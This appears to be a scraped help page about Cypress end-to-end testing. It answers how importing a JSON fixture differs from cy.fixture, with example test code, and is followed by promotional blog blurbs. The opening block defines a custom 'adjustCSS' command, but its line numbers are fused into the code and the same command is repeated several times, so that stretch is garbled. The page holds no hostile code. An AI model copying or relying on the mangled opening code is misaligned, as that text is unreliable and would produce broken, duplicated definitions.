1cy.get('.test').then(($el) => {2 const css = {3 }4 cy.adjustCSS($el, css)5})6Cypress.Commands.add('adjustCSS', (element, css) => {7 const cssText = Object.keys(css).map((key) => {8 return `${key}: ${css[key]}`9 }).join(';')10 const script = `arguments[0].setAttribute('style', '${cssText}')`11 cy.wrap(element).invoke('attr', 'style', cssText)12})13import './commands'14Cypress.Commands.add('adjustCSS', (element, css) => {15 const cssText = Object.keys(css).map((key) => {16 return `${key}: ${css[key]}`17 }).join(';')18 const script = `arguments[0].setAttribute('style', '${cssText}')`19 cy.wrap(element).invoke('attr', 'style', cssText)20})21Cypress.Commands.add('adjustCSS', (element, css) => {22 const cssText = Object.keys(css).map((key) => {23 return `${key}: ${css[key]}`24 }).join(';')25 const script = `arguments[0].setAttribute('style', '${cssText}')`26 cy.wrap(element).invoke('attr', 'style', cssText)27})28import './commands'
What is the difference between import and cy.fixture in Cypress tests?
Change directory in Cypress using cy.exec()
How to remove whitespace from a string in Cypress
How to save a variable/text to use later in Cypress test?
Is it possible to select an anchor tag which contains a h1 which contains the text "Visit Site"?
Cypress loop execution order
Cypress Cucumber, how Get to data from page in one step and use it another scenario step
How to cancel a specific request in Cypress?
Cypress object vs JQuery object, role of cy.wrap function
Cypress - Controlling which tests to run - Using Cypress for seeding
Basically when you say import file from '../fixtures/filepath/file.json'
you can use the imported file in any of methods in the particular javascript file. Whereas if you say cy.fixture(file.json)
, then the fixture context will remain within that cy.fixture block and you cannot access anywhere/outside of that cy.fixture block. Please go through the below code and you will understand the significance of it.
I recommend to use import file from '../fixtures/filepath/file.json'
For example. Run the below code to understand.
import fixtureFile from './../fixtures/userData.json';
describe('$ suite', () => {
it('Filedata prints only in cy.fixture block', () => {
cy.fixture('userData.json').then(fileData => {
cy.log(JSON.stringify(fileData)); // You can access fileData only in this block.
})
cy.log(JSON.stringify(fileData)); //This says error because you are accessing out of cypress fixture context
})
it('This will print file data with import', () => {
cy.log(JSON.stringify(fixtureFile));
})
it('This will also print file data with import', () => {
cy.log(JSON.stringify(fixtureFile));
})
});
Check out the latest blogs from LambdaTest on this topic:
“Your most unhappy customers are your greatest source of learning.”
Hola, testers! We are up with another round of exciting product updates to help scale your cross browser testing coverage. As spring cleaning looms, we’re presenting you product updates to put some spring in your testing workflow. Our development team has been working relentlessly to make our test execution platform more scalable and reliable than ever to accomplish all your testing requirements.
Agile development pushes out incremental software updates faster than traditional software releases. But the faster you release, the more tests you have to write and run – which becomes a burden as your accumulated test suites multiply. So a more intelligent approach to testing is needed for fast releases. This is where Smart Test Execution comes in.
If you were born in the 90s, you may be wondering where that browser is that you used for the first time to create HTML pages or browse the Internet. Even if you were born in the 00s, you probably didn’t use Internet Explorer until recently, except under particular circumstances, such as working on old computers in IT organizations, banks, etc. Nevertheless, I can say with my observation that Internet Explorer use declined rapidly among those using new computers.
Hey People! With the beginning of a new year, we are excited to announce a collection of new product updates! At LambdaTest, we’re committed to providing you with a comprehensive test execution platform to constantly improve the user experience and performance of your websites, web apps, and mobile apps. Our incredible team of developers came up with several new features and updates to spice up your workflow.
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!